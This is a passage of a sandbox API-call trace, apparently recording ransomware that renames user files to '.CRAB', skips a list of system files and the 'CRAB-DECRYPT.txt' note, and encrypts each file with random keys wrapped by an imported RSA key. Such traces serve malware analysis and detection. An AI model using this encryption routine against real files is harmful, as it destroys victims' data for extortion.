	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="ntuser.dat") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="iconcache.db") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="bootsect.bak") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="boot.ini") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="ntuser.dat.log") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="thumbs.db") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.330] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.330] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB") returned 66
	[0124.330] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wwrbxbupyclcx9nppst.mp3")) returned 0x20
	[0124.330] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3", dwFileAttributes=0x20) returned 1
	[0124.331] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wwrbxbupyclcx9nppst.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wwrbxbupyclcx9nppst.mp3.crab")) returned 1
	[0124.332] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.332] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB"
	[0124.332] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB.CRAB"
	[0124.332] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.333] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.333] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.333] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.333] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.333] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.333] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.334] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0124.334] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.334] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.335] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.335] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.335] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.335] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.335] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.335] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.336] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0124.336] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166460) returned 1
	[0124.336] CryptGetKeyParam (in: hKey=0x3166460, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.336] CryptEncrypt (in: hKey=0x3166460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.337] GetLastError () returned 0x0
	[0124.337] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0124.337] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0124.337] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166220) returned 1
	[0124.337] CryptGetKeyParam (in: hKey=0x3166220, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.337] CryptEncrypt (in: hKey=0x3166220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.338] GetLastError () returned 0x0
	[0124.338] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.338] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wwrbxbupyclcx9nppst.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.338] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.339] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.339] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x10f89, lpOverlapped=0x0) returned 1
	[0124.357] VirtualAlloc (lpAddress=0x0, dwSize=0x10f90, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.359] VirtualAlloc (lpAddress=0x0, dwSize=0x10f90, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0124.360] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.361] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffef077, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.361] WriteFile (in: hFile=0x3ec, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x10f90, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314c9b4*=0x10f90, lpOverlapped=0x0) returned 1
	[0124.361] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.362] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.366] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.366] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.366] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.366] CloseHandle (hObject=0x3ec) returned 1
	[0124.367] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.367] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.367] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.367] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.368] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.368] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.368] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.368] lstrcmpW (lpString1="YxJ7LmF.swf", lpString2=".") returned 1
	[0124.368] lstrcmpW (lpString1="YxJ7LmF.swf", lpString2="..") returned 1
	[0124.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="YxJ7LmF.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf"
	[0124.368] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.368] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf") returned 49
	[0124.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf") returned 49
	[0124.369] lstrlenW (lpString=".swf") returned 4
	[0124.369] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.369] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0124.369] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf") returned 49
	[0124.369] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf") returned 49
	[0124.369] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="desktop.ini") returned 1
	[0124.369] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="autorun.inf") returned 1
	[0124.369] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="ntuser.dat") returned 1
	[0124.369] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="iconcache.db") returned 1
	[0124.369] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="bootsect.bak") returned 1
	[0124.370] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="boot.ini") returned 1
	[0124.370] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="ntuser.dat.log") returned 1
	[0124.370] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="thumbs.db") returned 1
	[0124.370] lstrcmpiW (lpString1="YxJ7LmF.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.370] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.370] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB") returned 54
	[0124.370] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxj7lmf.swf")) returned 0x20
	[0124.370] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf", dwFileAttributes=0x20) returned 1
	[0124.371] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxj7lmf.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxj7lmf.swf.crab")) returned 1
	[0124.372] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.372] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB"
	[0124.372] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB.CRAB"
	[0124.372] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.373] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.373] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.373] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.373] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.373] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.374] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.374] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.375] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.375] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.375] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.375] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.375] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.375] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.376] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.376] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31664a0) returned 1
	[0124.376] CryptGetKeyParam (in: hKey=0x31664a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.376] CryptEncrypt (in: hKey=0x31664a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.377] GetLastError () returned 0x0
	[0124.377] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.377] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0124.377] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31667a0) returned 1
	[0124.377] CryptGetKeyParam (in: hKey=0x31667a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.377] CryptEncrypt (in: hKey=0x31667a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.378] GetLastError () returned 0x0
	[0124.378] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.378] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YxJ7LmF.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxj7lmf.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.378] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.379] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.379] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x13a95, lpOverlapped=0x0) returned 1
	[0124.393] VirtualAlloc (lpAddress=0x0, dwSize=0x13aa0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.395] VirtualAlloc (lpAddress=0x0, dwSize=0x13aa0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0124.397] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.398] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffec56b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.398] WriteFile (in: hFile=0x3ec, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x13aa0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314c9b4*=0x13aa0, lpOverlapped=0x0) returned 1
	[0124.398] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.399] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.403] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.403] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.403] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.403] CloseHandle (hObject=0x3ec) returned 1
	[0124.403] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.403] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.404] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.404] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.404] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.404] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.405] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.405] lstrcmpW (lpString1="YXyDVl5tVJHYH.docx", lpString2=".") returned 1
	[0124.405] lstrcmpW (lpString1="YXyDVl5tVJHYH.docx", lpString2="..") returned 1
	[0124.405] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="YXyDVl5tVJHYH.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx"
	[0124.405] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.405] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx") returned 56
	[0124.405] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx") returned 56
	[0124.405] lstrlenW (lpString=".docx") returned 5
	[0124.405] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.406] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0124.406] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.406] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx") returned 56
	[0124.406] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx") returned 56
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="desktop.ini") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="autorun.inf") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="ntuser.dat") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="iconcache.db") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="bootsect.bak") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="boot.ini") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="ntuser.dat.log") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="thumbs.db") returned 1
	[0124.406] lstrcmpiW (lpString1="YXyDVl5tVJHYH.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.406] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.407] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB") returned 61
	[0124.407] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxydvl5tvjhyh.docx")) returned 0x20
	[0124.407] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx", dwFileAttributes=0x20) returned 1
	[0124.407] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxydvl5tvjhyh.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\yxydvl5tvjhyh.docx.crab")) returned 1
	[0124.408] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.408] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB"
	[0124.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\YXyDVl5tVJHYH.docx.CRAB.CRAB"
	[0124.409] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.409] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.410] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.410] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.410] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.410] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
